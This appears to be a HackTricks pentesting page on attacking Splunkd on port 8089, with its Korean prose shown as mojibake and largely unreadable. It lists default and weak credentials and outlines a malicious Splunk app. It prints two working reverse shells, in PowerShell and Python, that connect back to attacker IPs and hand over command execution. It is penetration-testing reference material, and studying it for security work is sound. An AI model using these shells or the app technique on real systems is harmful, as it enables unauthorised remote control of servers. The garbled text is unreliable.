8089 - Pentesting Splunkd
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
- ๋ฐ์ดํฐ ์์ง, ๋ถ์ ๋ฐ ์๊ฐํ๋ฅผ ์ํ ๋ก๊ทธ ๋ถ์ ๋๊ตฌ
- ๋ณด์ ๋ชจ๋ํฐ๋ง ๋ฐ ๋น์ฆ๋์ค ๋ถ์์ ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋จ
- ๊ธฐ๋ณธ ํฌํธ:
- ์น ์๋ฒ: 8000
- Splunkd ์๋น์ค: 8089
์ทจ์ฝ์ ๋ฒกํฐ:
- ๋ฌด๋ฃ ๋ฒ์ ์ ์ฉ
- ํ๊ฐํ ๋ฒ์ ์ 60์ผ ํ ์๋์ผ๋ก ๋ฌด๋ฃ ๋ฒ์ ์ผ๋ก ์ ํ๋จ
- ๋ฌด๋ฃ ๋ฒ์ ์ ์ธ์ฆ์ด ์์
- ๊ด๋ฆฌ๋์ง ์์ ๊ฒฝ์ฐ ์ ์ฌ์ ์ธ ๋ณด์ ์ํ
- ๊ด๋ฆฌ์๊ฐ ๋ณด์ ๋ฌธ์ ๋ฅผ ๊ฐ๊ณผํ ์ ์์
- ์๊ฒฉ ์ฆ๋ช ์ฝ์
- ์ด์ ๋ฒ์ : ๊ธฐ๋ณธ ์๊ฒฉ ์ฆ๋ช
admin:changeme - ์ต์ ๋ฒ์ : ์ค์น ์ค ์ค์ ๋ ์๊ฒฉ ์ฆ๋ช
- ์ฝํ ๋น๋ฐ๋ฒํธ ์ฌ์ฉ ๊ฐ๋ฅ์ฑ (์:
admin,Welcome,Password123)
- ์๊ฒฉ ์ฝ๋ ์คํ ๊ธฐํ
- ์ฌ๋ฌ ์ฝ๋ ์คํ ๋ฐฉ๋ฒ:
- ์๋ฒ ์ธก Django ์ ํ๋ฆฌ์ผ์ด์
- REST ์๋ํฌ์ธํธ
- ์คํฌ๋ฆฝํธ ์ ๋ ฅ
- ๊ฒฝ๊ณ ์คํฌ๋ฆฝํธ
- ํฌ๋ก์ค ํ๋ซํผ ์ง์ (Windows/Linux)
- ์คํฌ๋ฆฝํธ ์ ๋ ฅ์ ๋ค์์ ์คํํ ์ ์์:
- Bash ์คํฌ๋ฆฝํธ
- PowerShell ์คํฌ๋ฆฝํธ
- ๋ฐฐ์น ์คํฌ๋ฆฝํธ
์ฃผ์ ์ ์ฉ ๊ฐ๋ฅ์ฑ:
- ๋ฏผ๊ฐํ ๋ฐ์ดํฐ ์ ์ฅ
- ๋ฌด๋ฃ ๋ฒ์ ์ ์ธ์ฆ ๋ถ์กฑ
- ์ ์ฌ์ ์ธ ์๊ฒฉ ์ฝ๋ ์คํ์ ์ํ ์ฌ๋ฌ ๋ฒกํฐ
- ์์คํ ์์์ ์ํ ์คํฌ๋ฆฝํธ ์ ๋ ฅ ํ์ฉ ๊ฐ๋ฅ์ฑ
Shodan
Splunk build
RCE
์ฌ์ฉ์ ์ ์ ์ ํ๋ฆฌ์ผ์ด์ ์์ฑ
Splunk๋ ์ฌ์ฉ์ ์ ์ ์ ํ๋ฆฌ์ผ์ด์ ๋ฐฐํฌ๋ฅผ ํตํด ์๊ฒฉ ์ฝ๋ ์คํ์ ์ํ ์ ๊ตํ ๋ฐฉ๋ฒ์ ์ ๊ณตํ๋ฉฐ, ํฌ๋ก์ค ํ๋ซํผ ์คํฌ๋ฆฝํ ๊ธฐ๋ฅ์ ํ์ฉํฉ๋๋ค. ํต์ฌ ์ ์ฉ ๊ธฐ์ ์ Windows ๋ฐ Linux ์์คํ ์์ ๋ฆฌ๋ฒ์ค ์ ธ์ ์คํํ ์ ์๋ ์ ์ฑ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ง๋๋ ๊ฒ์ ๋๋ค.
์ฌ์ฉ์ ์ ์ ์ ํ๋ฆฌ์ผ์ด์ ์ Python, Batch, Bash ๋๋ PowerShell ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์์ต๋๋ค. ๋ํ, Splunk์๋ Python์ด ์ค์น๋์ด ์์ผ๋ฏ๋ก, Windows ์์คํ ์์๋ Python ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
์ด ์์ ๋ฅผ ์ฌ์ฉํ ์ ์์ผ๋ฉฐ, **bin**์๋ Python ๋ฐ PowerShell ์์ ๊ฐ ํฌํจ๋์ด ์์ต๋๋ค. ๋๋ ์์ ๋ง์ ๊ฒ์ ๋ง๋ค ์๋ ์์ต๋๋ค.
์ ์ฉ ๊ณผ์ ์ ํ๋ซํผ ์ ๋ฐ์ ๊ฑธ์ณ ์ผ๊ด๋ ๋ฐฉ๋ฒ๋ก ์ ๋ฐ๋ฆ ๋๋ค:
splunk_shell/
โโโ bin (reverse shell scripts)
โโโ default (inputs.conf configuration)
์ค์ํ ๊ตฌ์ฑ ํ์ผ inputs.conf๋ ์คํฌ๋ฆฝํธ๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ํ์ฑํํฉ๋๋ค:
disabled = 0์ค์ - 10์ด ์คํ ๊ฐ๊ฒฉ ๊ตฌ์ฑ
- ์คํฌ๋ฆฝํธ์ ์์ค ์ ํ ์ ์
๋ฐฐํฌ๋ ๊ฐ๋จํฉ๋๋ค:
- ์ ์ฑ ์ ํ๋ฆฌ์ผ์ด์ ํจํค์ง ์์ฑ
- ๊ณต๊ฒฉ ๋จธ์ ์์ ๋ฆฌ์ค๋(Netcat/socat) ์ค์
- Splunk์ ์ธํฐํ์ด์ค๋ฅผ ํตํด ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ก๋
- ์ ๋ก๋ ์ ์๋ ์คํฌ๋ฆฝํธ ์คํ ํธ๋ฆฌ๊ฑฐ
์ํ Windows PowerShell ๋ฆฌ๋ฒ์ค ์ ธ:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
์ํ ๋ฆฌ๋ ์ค ํ์ด์ฌ ๋ฆฌ๋ฒ์ค ์ ธ:
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
๋ค์ ํ์ด์ง์์๋ ์ด ์๋น์ค๋ฅผ ์ด๋ป๊ฒ ์ ์ฉํ์ฌ ๊ถํ์ ์์น์ํค๊ณ ์ง์์ฑ์ ์ป์ ์ ์๋์ง์ ๋ํ ์ค๋ช ์ ์ฐพ์ ์ ์์ต๋๋ค:
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


